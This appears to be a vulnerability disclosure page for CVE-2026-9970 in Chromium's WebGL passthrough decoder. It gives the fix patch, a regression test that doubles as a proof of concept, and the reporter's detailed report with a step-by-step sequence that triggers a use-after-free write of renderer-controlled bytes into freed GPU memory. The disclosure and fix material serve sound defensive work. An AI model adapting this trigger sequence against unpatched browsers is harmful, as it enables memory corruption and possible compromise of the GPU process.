CVE-2026-9970
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
GLES3VertexArraysTestgpu/command_buffer/tests/gl_vertex_arrays_unittest.cc |
modified | |
TEST_Fgpu/command_buffer/tests/gl_vertex_arrays_unittest.cc |
modified |
Files Changed
gpu/BUILD.gngpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.ccgpu/command_buffer/tests/gl_vertex_arrays_unittest.cc
Patch
From 6944e2581ee7a67bc4f4b7c1d6a6b720097ba4e2 Mon Sep 17 00:00:00 2001 From: Ken Russell <[email protected]> Date: Mon, 18 May 2026 11:37:07 -0700 Subject: [PATCH] Dirty bound element array buffer in DoDeleteVertexArraysOES. In the passthrough command decoder. Add a unit test from the bug report, verified with ASAN to fix the bug. Co-authored with jetski-cli. Fixed: 506653647 Change-Id: Ie133e85e6babd6da16889728e5f0e97af2ce489c Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7853561 Reviewed-by: Zhenyao Mo <[email protected]> Commit-Queue: Zhenyao Mo <[email protected]> Auto-Submit: Kenneth Russell <[email protected]> Cr-Commit-Position: refs/heads/main@{#1632304} --- diff --git a/gpu/BUILD.gn b/gpu/BUILD.gn index 0b4c7ee..815f367 100644 --- a/gpu/BUILD.gn +++ b/gpu/BUILD.gn @@ -265,6 +265,7 @@ "command_buffer/tests/gl_texture_storage_unittest.cc", "command_buffer/tests/gl_unallocated_texture_unittest.cc", "command_buffer/tests/gl_unittest.cc", + "command_buffer/tests/gl_vertex_arrays_unittest.cc", "command_buffer/tests/gl_virtual_contexts_ext_window_rectangles_unittest.cc", "command_buffer/tests/gl_virtual_contexts_unittest.cc", "command_buffer/tests/gl_webgl_multi_draw_test.cc", diff --git a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc index 1f8a689..40610bb 100644 --- a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc +++ b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc @@ -3997,10 +3997,12 @@ error::Error GLES2DecoderPassthroughImpl::DoDeleteVertexArraysOES( GLsizei n, const volatile GLuint* arrays) { - return DeleteHelper(n, arrays, &vertex_array_id_map_, - [this](GLsizei n, GLuint* arrays) { - api()->glDeleteVertexArraysOESFn(n, arrays); - }); + error::Error err = DeleteHelper(n, arrays, &vertex_array_id_map_, + [this](GLsizei n, GLuint* arrays) { + api()->glDeleteVertexArraysOESFn(n, arrays); + }); + bound_element_array_buffer_dirty_ = true; + return err; } error::Error GLES2DecoderPassthroughImpl::DoIsVertexArrayOES(GLuint array, diff --git a/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc b/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc new file mode 100644 index 0000000..efa5324 --- /dev/null +++ b/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc @@ -0,0 +1,114 @@ +// Copyright 2026 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#include <GLES2/gl2.h> +#include <GLES2/gl2ext.h> +#include <GLES2/gl2extchromium.h> +#include <GLES3/gl3.h> +#include <stdint.h> + +#include "base/compiler_specific.h" +#include "base/containers/span.h" +#include "gpu/command_buffer/tests/gl_manager.h" +#include "gpu/command_buffer/tests/gl_test_utils.h" +#include "testing/gmock/include/gmock/gmock.h" +#include "testing/gtest/include/gtest/gtest.h" + +namespace gpu { + +class GLES3VertexArraysTest : public testing::Test { + protected: + void SetUp() override { + GLManager::Options options; + options.context_type = CONTEXT_TYPE_OPENGLES3; + gl_.Initialize(options); + } + + void TearDown() override { gl_.Destroy(); } + bool IsApplicable() const { return gl_.IsInitialized(); } + + GLManager gl_; +}; + +// Test that deleting a bound vertex array object correctly marks the +// bound element array buffer dirty, preventing UAF when the buffer is +// deleted and subsequently unmapped. +TEST_F(GLES3VertexArraysTest, GenAndDeleteOES) { + if (!IsApplicable()) { + return; + } + + if (!GLTestHelper::HasExtension("GL_OES_vertex_array_object")) { + return; + } + + constexpr GLsizeiptr kBufA = 16 * 1024 * 1024; + GLuint buf[2] = {0u, 0u}; + GLuint vao = 0u; + + glGenBuffers(1, &buf[0]); + glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[0]); + glBufferData(GL_ELEMENT_ARRAY_BUFFER, kBufA, nullptr, GL_DYNAMIC_DRAW); + + glGenVertexArraysOES(1, &vao); + glBindVertexArrayOES(vao); + + glGenBuffers(1, &buf[1]); + glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[1]); + + // Delete the VAO. The driver should revert the ELEMENT_ARRAY binding to + // buf[0]. The service side passthrough decoder should mark the element array + // binding dirty. + glDeleteVertexArraysOES(1, &vao); + + // Driver: VAO->VAO0, EA reverts to buf[0]. + // If bug is present: Decoder cache still thinks buf[1] is bound. + + // Post-CL-7782484 trigger: bind buf[1] to COPY_READ_BUFFER and allocate it, + // so it is ElementArray-typed and we can use it. + glBindBuffer(GL_COPY_READ_BUFFER, buf[1]); + glBufferData(GL_COPY_READ_BUFFER, 4096, nullptr, GL_DYNAMIC_DRAW); + + // Map GL_ELEMENT_ARRAY_BUFFER. + // Driver maps buf[0]. + // If bug is present: Decoder cache thinks buf[1] is bound, so it inserts + // entry for buf[1] pointing to buf[0] memory. + void* shm_a = + glMapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, kBufA, + GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT); + ASSERT_NE(shm_a, nullptr); + + // SAFETY this span is only created to correspond to the mapped + // buffer, whose size is known above. + auto shm_span = + UNSAFE_BUFFERS(base::span<uint8_t, static_cast<size_t>(kBufA)>( + static_cast<uint8_t*>(shm_a), static_cast<size_t>(kBufA))); + std::ranges::fill(shm_span, 0x41); + + // Bind EA to buf[1] on client. + glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[1]); + + // Map tiny range to populate client-side tracking for buf[1]. + // If bug is present: Service tries to insert duplicate entry for buf[1]. + // In non-DCHECK builds, this is a no-op on service side. + void* shm_b = + glMapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, 1, + GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_RANGE_BIT); + ASSERT_NE(shm_b, nullptr); + + // Free buf[0]. Driver frees its backing memory. + // The service entry for buf[1] still points to this freed memory. + glDeleteBuffers(1, &buf[0]); + glFinish(); + + // Unmap GL_ELEMENT_ARRAY_BUFFER (bound to buf[1] on client, cache says buf[1] + // on service). If bug is present: Service uses stale entry for buf[1] + // pointing to freed buf[0] memory, and memcpys to it -> UAF. + glUnmapBuffer(GL_ELEMENT_ARRAY_BUFFER); + glFinish(); + + glDeleteBuffers(1, &buf[1]); +} + +} // namespace gpu
Regression Test / PoC
diff --git a/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc b/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc
new file mode 100644
index 0000000..efa5324
--- /dev/null
+++ b/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc
@@ -0,0 +1,114 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include <GLES2/gl2.h>
+#include <GLES2/gl2ext.h>
+#include <GLES2/gl2extchromium.h>
+#include <GLES3/gl3.h>
+#include <stdint.h>
+
+#include "base/compiler_specific.h"
+#include "base/containers/span.h"
+#include "gpu/command_buffer/tests/gl_manager.h"
+#include "gpu/command_buffer/tests/gl_test_utils.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace gpu {
+
+class GLES3VertexArraysTest : public testing::Test {
+ protected:
+ void SetUp() override {
+ GLManager::Options options;
+ options.context_type = CONTEXT_TYPE_OPENGLES3;
+ gl_.Initialize(options);
+ }
+
+ void TearDown() override { gl_.Destroy(); }
+ bool IsApplicable() const { return gl_.IsInitialized(); }
+
+ GLManager gl_;
+};
+
+// Test that deleting a bound vertex array object correctly marks the
+// bound element array buffer dirty, preventing UAF when the buffer is
+// deleted and subsequently unmapped.
+TEST_F(GLES3VertexArraysTest, GenAndDeleteOES) {
+ if (!IsApplicable()) {
+ return;
+ }
+
+ if (!GLTestHelper::HasExtension("GL_OES_vertex_array_object")) {
+ return;
+ }
+
+ constexpr GLsizeiptr kBufA = 16 * 1024 * 1024;
+ GLuint buf[2] = {0u, 0u};
+ GLuint vao = 0u;
+
+ glGenBuffers(1, &buf[0]);
+ glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[0]);
+ glBufferData(GL_ELEMENT_ARRAY_BUFFER, kBufA, nullptr, GL_DYNAMIC_DRAW);
+
+ glGenVertexArraysOES(1, &vao);
+ glBindVertexArrayOES(vao);
+
+ glGenBuffers(1, &buf[1]);
+ glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[1]);
+
+ // Delete the VAO. The driver should revert the ELEMENT_ARRAY binding to
+ // buf[0]. The service side passthrough decoder should mark the element array
+ // binding dirty.
+ glDeleteVertexArraysOES(1, &vao);
+
+ // Driver: VAO->VAO0, EA reverts to buf[0].
+ // If bug is present: Decoder cache still thinks buf[1] is bound.
+
+ // Post-CL-7782484 trigger: bind buf[1] to COPY_READ_BUFFER and allocate it,
+ // so it is ElementArray-typed and we can use it.
+ glBindBuffer(GL_COPY_READ_BUFFER, buf[1]);
+ glBufferData(GL_COPY_READ_BUFFER, 4096, nullptr, GL_DYNAMIC_DRAW);
+
+ // Map GL_ELEMENT_ARRAY_BUFFER.
+ // Driver maps buf[0].
+ // If bug is present: Decoder cache thinks buf[1] is bound, so it inserts
+ // entry for buf[1] pointing to buf[0] memory.
+ void* shm_a =
+ glMapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, kBufA,
+ GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT);
+ ASSERT_NE(shm_a, nullptr);
+
+ // SAFETY this span is only created to correspond to the mapped
+ // buffer, whose size is known above.
+ auto shm_span =
+ UNSAFE_BUFFERS(base::span<uint8_t, static_cast<size_t>(kBufA)>(
+ static_cast<uint8_t*>(shm_a), static_cast<size_t>(kBufA)));
+ std::ranges::fill(shm_span, 0x41);
+
+ // Bind EA to buf[1] on client.
+ glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[1]);
+
+ // Map tiny range to populate client-side tracking for buf[1].
+ // If bug is present: Service tries to insert duplicate entry for buf[1].
+ // In non-DCHECK builds, this is a no-op on service side.
+ void* shm_b =
+ glMapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, 1,
+ GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_RANGE_BIT);
+ ASSERT_NE(shm_b, nullptr);
+
+ // Free buf[0]. Driver frees its backing memory.
+ // The service entry for buf[1] still points to this freed memory.
+ glDeleteBuffers(1, &buf[0]);
+ glFinish();
+
+ // Unmap GL_ELEMENT_ARRAY_BUFFER (bound to buf[1] on client, cache says buf[1]
+ // on service). If bug is present: Service uses stale entry for buf[1]
+ // pointing to freed buf[0] memory, and memcpys to it -> UAF.
+ glUnmapBuffer(GL_ELEMENT_ARRAY_BUFFER);
+ glFinish();
+
+ glDeleteBuffers(1, &buf[1]);
+}
+
+} // namespace gpu
Original Bug Report
WebGL Memory Corruption via Passthrough Decoder Bound Buffers Cache Desync
VULNERABILITY DETAILS
This is a use-after-free vulnerability in the passthrough command decoder of the WebGL imlpementation, reachable from a compromised renderer, resulting in memory corruption in the GPU process of Chrome.
The root cause is a missing cache-invalidation flag set in the passthrough GLES2 decode. The exact consequences of this and the crash signature depends on the ANGLE backend/driver, but on the configurations I tested it gives a memcpy targeting a stale pointer to a GPU memory allocation.
GLES2DecoderPassthroughImpl::bound_buffers_ is a map of the current client buffer ID per target, avoiding per-Map/Unmap glGetIntegerv round-trips. For GL_ELEMENT_ARRAY_BUFFER specifically, the cache has a lazy update mechanism because the ELEMENT_ARRAY binding is per-VAO state (OpenGL ES 3.0.6 2.11 + Table 6.2 “Vertex Array Object State”) and some GL operations change it as a side effect rather than via an explicit glBindBuffer. For this caching to work, the invariant should hold: before any decoder consumer reads bound_buffers_[GL_ELEMENT_ARRAY_BUFFER], either the cache has already been updated to match the driver, or bound_element_array_buffer_dirty_ is set so the next LazilyUpdateCurrentlyBoundElementArrayBuffer() call refreshes it.
The DoDeleteVertexArraysOES implementation of ANGLE breaks that invariant. Per OpenGL ES 3.0.6 2.11 “Vertex Array Objects”, If a vertex array object that is currently bound is deleted, the binding for that object reverts to zero and the default vertex array becomes current. While the other GLES functions that may have similar side-effect correctly set bound_element_array_buffer_dirty_, DoDeleteVertexArraysOES does not.
A compromised renderer can exploit this as follows (relevant code snippets shown below):
- Prime VAO0’s ELEMENT_ARRAY with
buf_0(a 16 MB buffer, size chosen so that ANGLE will allocate it standalone rather than suballocating it from a shared slab). - Switch to a non-default VAO, bind
buf_1to that VAO’s ELEMENT_ARRAY. At this point the service’sbound_buffers_[GL_ELEMENT_ARRAY_BUFFER]isbuf_1. - Delete the non-default VAO. The driver’s ELEMENT_ARRAY reverts to
buf_0(per spec) but decoder’s cache still saysbuf_1and the dirty flag is not set. - Call
MapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, 16 MB, GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT). The driver mapsbuf_0and returnsptr_A. The decoder’s lazy-refresh early-exits onbound_element_array_buffer_dirty_==false, so it reads the stalebound_buffers_[GL_ELEMENT_ARRAY_BUFFER],buf_1and insertsbuf_1 => { map_ptr = ptr_A, size = 16 MB, shm_id, shm_offset, WRITE|INVALIDATE_BUFFER }intoresources_->mapped_buffer_map. The key refers tobuf_1but the stored pointer refers to the mappedbuf_0. - Fill the returned shared-memory pointer with controlled bytes.
- Bind
buf_1to ELEMENT_ARRAY on the client side, then issue a tinyMapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, 1, WRITE|INVALIDATE_RANGE): this populates the client-sideGLES2Implementation::mapped_buffer_range_map_[buf_1]so that the later client-sideUnmapBuffervalidation accepts the call. This wouldn’t strictly be necessary if the PoC used the command buffer directly. InGLES2DecoderPassthroughImpl::DoMapBufferRange,std::map::insertreturns{existing_iter, false}on the duplicate key and silently drops the new record, so this is effectively a no-op on the service side. In DCHECK-enabled builds this is where the PoC aborts, on theDCHECK(mapped_buffer_map.find(client_buffer) == end())atpassthrough_doers.cc:4007-4008. DeleteBuffers(buf_0). Because the 16 MB allocation was standalone (not suballocated), ANGLE’s garbage machinery synchronously callsvkDestroyBuffer+vkFreeMemoryfrom the same decoder thread that processed DeleteBuffers.ptr_Ais now dangling.UnmapBuffer(GL_ELEMENT_ARRAY_BUFFER). The decoder looks upbound_buffers_[GL_ELEMENT_ARRAY_BUFFER], which isbuf_1, finds themapped_buffer_mapentry from step 4 with the now-danglingptr_A, and executesmemcpy(ptr_A, shm /*attacker bytes*/, 16 MB)atpassthrough_doers.cc:4048.
Relevant Code Paths
DoDeleteVertexArraysOES in gles2_cmd_decoder_passthrough_doers.cc:3916-3923 does not set bound_element_array_buffer_dirty_ = true:
error::Error GLES2DecoderPassthroughImpl::DoDeleteVertexArraysOES(
GLsizei n,
const volatile GLuint* arrays) {
return DeleteHelper(n, arrays, &vertex_array_id_map_,
[this](GLsizei n, GLuint* arrays) {
api()->glDeleteVertexArraysOESFn(n, arrays);
});
}
For contrast, DoBindVertexArrayOES at passthrough_doers.cc:3932-3937 sets it.
error::Error GLES2DecoderPassthroughImpl::DoBindVertexArrayOES(GLuint array) {
api()->glBindVertexArrayOESFn(
GetVertexArrayServiceID(array, &vertex_array_id_map_));
bound_element_array_buffer_dirty_ = true; // correct pattern
return error::kNoError;
}
If bound_element_array_buffer_dirty_ is false, LazilyUpdateCurrentlyBoundElementArrayBuffer at passthrough.cc:2593-2611 returns early and bound_buffers_[GL_ELEMENT_ARRAY_BUFFER] retains its potentially stale value.
void GLES2DecoderPassthroughImpl::
LazilyUpdateCurrentlyBoundElementArrayBuffer() {
if (!bound_element_array_buffer_dirty_)
return; // early-exit
GLint service_element_array_buffer = 0;
api_->glGetIntegervFn(GL_ELEMENT_ARRAY_BUFFER_BINDING,
&service_element_array_buffer);
GLuint client_element_array_buffer = 0;
if (service_element_array_buffer != 0) {
GetClientID(&resources_->buffer_id_map,
static_cast<GLuint>(service_element_array_buffer),
&client_element_array_buffer);
}
bound_buffers_[GL_ELEMENT_ARRAY_BUFFER] = client_element_array_buffer;
bound_element_array_buffer_dirty_ = false;
}
At this point, invoking MapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, 16 MB, GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT) causes DoMapBufferRange at passthrough_doers.cc:3993-4013 to map buf_0 but then insert that mapped pointer into mapped_buffer_map keyed by the stale ELEMENT_ARRAY in the cache, buf_1.
error::Error GLES2DecoderPassthroughImpl::DoMapBufferRange(
GLenum target, GLintptr offset, GLsizeiptr size, GLbitfield access,
void* ptr, int32_t data_shm_id, uint32_t data_shm_offset,
uint32_t* result) {
// ...
// Maps buf_0
void* mapped_ptr = api()->glMapBufferRangeFn(target, offset, size,
filtered_access);
// ...
DCHECK(bound_buffers_.find(target) != bound_buffers_.end());
if (target == GL_ELEMENT_ARRAY_BUFFER) {
// No update because bound_element_array_buffer_dirty_ == false
LazilyUpdateCurrentlyBoundElementArrayBuffer();
}
// STALE, client_buffer == buf_1
GLuint client_buffer = bound_buffers_.at(target);
MappedBuffer mapped_buffer_info;
mapped_buffer_info.size = size;
mapped_buffer_info.original_access = access;
mapped_buffer_info.filtered_access = filtered_access;
// ACTUAL mapped pointer of buf_0
mapped_buffer_info.map_ptr = static_cast<uint8_t*>(mapped_ptr);
mapped_buffer_info.data_shm_id = data_shm_id;
mapped_buffer_info.data_shm_offset = data_shm_offset;
DCHECK(resources_->mapped_buffer_map.find(client_buffer) ==
resources_->mapped_buffer_map.end());
resources_->mapped_buffer_map.insert(
std::make_pair(client_buffer, mapped_buffer_info));
*result = 1;
return error::kNoError;
}
Now calling DoDeleteBuffers at passthrough_doers.cc:928-967 with buf_0 will remove the mapped_buffer_map entry for buf_0 and actually free the backing allocation through the driver, while keeping the previously inserted entry for buf_1 pointing to the same memory region.
error::Error GLES2DecoderPassthroughImpl::DoDeleteBuffers(
GLsizei n,
const volatile GLuint* buffers) {
// ...
// No update because bound_element_array_buffer_dirty_ == false
LazilyUpdateCurrentlyBoundElementArrayBuffer();
std::vector<GLuint> service_ids(n, 0);
for (GLsizei ii = 0; ii < n; ++ii) {
GLuint client_id = UNSAFE_TODO(buffers[ii]); // = buf_0
// Update the bound and mapped buffer state tracking
for (auto& buffer_binding : bound_buffers_) {
if (buffer_binding.second == client_id) {
buffer_binding.second = 0;
}
resources_->mapped_buffer_map.erase(client_id); // erases buf_0 only
}
service_ids[ii] =
resources_->buffer_id_map.GetServiceIDOrInvalid(client_id);
resources_->buffer_id_map.RemoveClientID(client_id);
// ...
}
api()->glDeleteBuffersARBFn(n, service_ids.data()); // actual driver free
return error::kNoError;
}
After this, calling DoUnmapBuffer at passthrough_doers.cc:4016-4056 with GL_ELEMENT_ARRAY_BUFFER skips the lazy update like the other functions because bound_element_array_buffer_dirty_ is false. Then reads the stale buf_1 id from bound_buffers_ and finds the corresponing entry in mapped_buffer_map, which has the dangling ptr_A pointer, then memcpy’s the contents of the shared memory region controlled by the renderer to ptr_A. The contents and the size of the write are both controlled here by the renderer.
error::Error GLES2DecoderPassthroughImpl::DoUnmapBuffer(GLenum target) {
if (target == GL_ELEMENT_ARRAY_BUFFER) {
// No update because bound_element_array_buffer_dirty_ == false
LazilyUpdateCurrentlyBoundElementArrayBuffer();
}
auto bound_buffers_iter = bound_buffers_.find(target);
// target/bound validation
GLuint client_buffer = bound_buffers_iter->second; // STALE
auto mapped_buffer_info_iter =
resources_->mapped_buffer_map.find(client_buffer); // hits divergent entry
if (mapped_buffer_info_iter == resources_->mapped_buffer_map.end()) {
InsertError(GL_INVALID_OPERATION, "Buffer is not mapped.");
return error::kNoError;
}
const MappedBuffer& map_info = mapped_buffer_info_iter->second;
if ((map_info.filtered_access & GL_MAP_WRITE_BIT) != 0 &&
(map_info.filtered_access & GL_MAP_FLUSH_EXPLICIT_BIT) == 0) {
uint8_t* mem = GetSharedMemoryAs<uint8_t*>(
map_info.data_shm_id, map_info.data_shm_offset, map_info.size);
if (!mem) return error::kOutOfBounds;
UNSAFE_TODO(memcpy(map_info.map_ptr, mem, map_info.size)); // L4048 — UAF/SEGV
}
api()->glUnmapBufferFn(target);
resources_->mapped_buffer_map.erase(mapped_buffer_info_iter);
return error::kNoError;
}
Below 8MB ANGLE sub-allocates out of a shared BufferBlock (one vkAllocateMemory call, reused for many client buffers); DeleteBuffers releases the sub-allocation but leaves the block’s VkDeviceMemory alive. Above 8 MB each buffer gets its own VkDeviceMemory allocation that DeleteBuffers genuinely frees. This is purely an ANGLE constant and has the same value on every Vulkan backend Chrome ships.
BufferSuballocationGarbage::destroyIfComplete in Suballocation.cpp:220-229
bool BufferSuballocationGarbage::destroyIfComplete(Renderer *renderer) {
if (renderer->hasResourceUseFinished(mLifetime)) {
mBuffer.destroy(renderer->getDevice());
mSuballocation.destroy(renderer);
return true;
}
return false;
}
With no draw calls against the buffer, its ResourceUse is empty and hasResourceUseFinished is true, so ANGLE’s garbage machinery calls vkDestroyBuffer + vkFreeMemory inline from the same decoder thread that processed DoDeleteBuffers. No explicit glFinish is needed for the free to retire before DoUnmapBuffer’s memcpy, though the PoC issues one anyway.
In current Chromium, no JS-reachable code path can drive this sequence: WebGL2RenderingContextBase::getBufferSubData is the only Blink caller of MapBufferRange and it always uses GL_MAP_READ_BIT and does Map+Unmap atomically per call, so the write memcpy is never reached from JS and the divergence cannot persist across calls. The attached renderer patch (compromised_renderer.patch) emulates a compromised renderer that has bypassed Blink’s validation and issues the 17-op sequence directly.
VERSION
Chrome Version: 149.0.7807.0 + dev (commit 56162b7eb6dcf107cd6564598c28284a6983aecf)
Operating System: Linux (Ubuntu 24.04, kernel 6.17.0-22-generic).
The issue is in the generic passthrough decoder of the Chromium WebGL implementation and thus present on all platforms. How it manifests depends on the GPU driver.
REPRODUCTION CASE
GN args used for testing (out/asan-rel-x64/args.gn):
is_debug = false
is_asan = true
dcheck_always_on = false
is_component_build = false
treat_warnings_as_errors = false
symbol_level = 2
The attached renderer patch, compromised_renderer.patch, hijacks WebGL2RenderingContextBase::getBufferSubData when called with target == 0xDEAD to run the PoC sequence directly via ContextGL(). Normal getBufferSubData semantics are preserved for every other target value. No service-side code is modified.
Apply and build:
git apply compromised_renderer.patch
autoninja -C out/asan-rel-x64 chrome
I’ve included the crashing backtrace for SwiftShader, even though it’s not enabled by default in Chrome anymore, for easy reproduction.
On SwiftShader, the PoC produces an ASan heap use-after-free report because SwiftShader backs VkDeviceMemory with sw::allocateZeroOrPoison -> malloc() (swiftshader/src/System/Memory.cpp:76, VkDeviceMemory.cpp:342-354) and vkFreeMemory -> free(). The freed region stays mapped in the process address space but ASan has poisoned its shadow, so the decoder’s 16 MB write into the dangling map_ptr is caught as WRITE of size 16777216 at passthrough_doers.cc:4048. To reproduce on SwiftShader:
./chrome --no-sandbox -use-angle=swiftshader --use-vulkan=swiftshader --enable-unsafe-swiftshader --enable-logging=stderr /data/poc/poc.html
See swiftshader_bt.txt for the full crash log.
Running the same PoC on an NVIDIA GPU results in a different crash. On native NVIDIA Vulkan the kernel-side driver maps host-visible VkDeviceMemory into the process via mmap and vkFreeMemory tears the mapping down, so the decoder’s 16 MB write into the dangling map_ptr hits an unmapped page and Chrome’s signal handler prints a raw Received signal 11 SEGV_MAPERR. To reproduce on NVIDIA:
./chrome --no-sandbox --use-gl=angle --use-angle=vulkan --enable-logging=stderr /data/poc/poc.html
See nvidia_bt.txt, verified on a GeForce RTX 2060, driver 580.126.09, Vulkan 1.4.312.
The bug itself is entirely driver-independent, the decoder-side memcpy is at the same passthrough_doers.cc:4048 with the same map_ptr source in both runs. What differs between backends is only what vkFreeMemory does to the host mapping of the freed VkDeviceMemory.
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: GPU process crash
Crash State: see nvidia_bt.txt and swiftshader_bt.txt
CREDIT INFORMATION
Reporter credit: TFGC
- https://registry.khronos.org/OpenGL/specs/es/3.0/es_spec_3.0.pdf
- https://source.chromium.org/chromium/chromium/src/+/56162b7eb6dcf107cd6564598c28284a6983aecf
- https://source.chromium.org/chromium/chromium/src/+/main:gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc;l=2593;bpv=1;bpt=0
- https://source.chromium.org/chromium/chromium/src/+/main:gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc;l=3916;bpv=1;bpt=0
- https://source.chromium.org/chromium/chromium/src/+/main:gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc;l=3932;bpv=1;bpt=0
- https://source.chromium.org/chromium/chromium/src/+/main:gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc;l=3993;bpv=1;bpt=0
- https://source.chromium.org/chromium/chromium/src/+/main:gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc;l=4016;bpv=1;bpt=0
- https://source.chromium.org/chromium/chromium/src/+/main:gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc;l=928;bpv=1;bpt=0
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/libANGLE/renderer/vulkan/Suballocation.cpp;l=220;bpv=1;bpt=0
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/swiftshader/src/System/Memory.cpp;l=76;bpv=1;bpt=0
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/swiftshader/src/Vulkan/VkDeviceMemory.cpp;l=342;bpv=1;bpt=0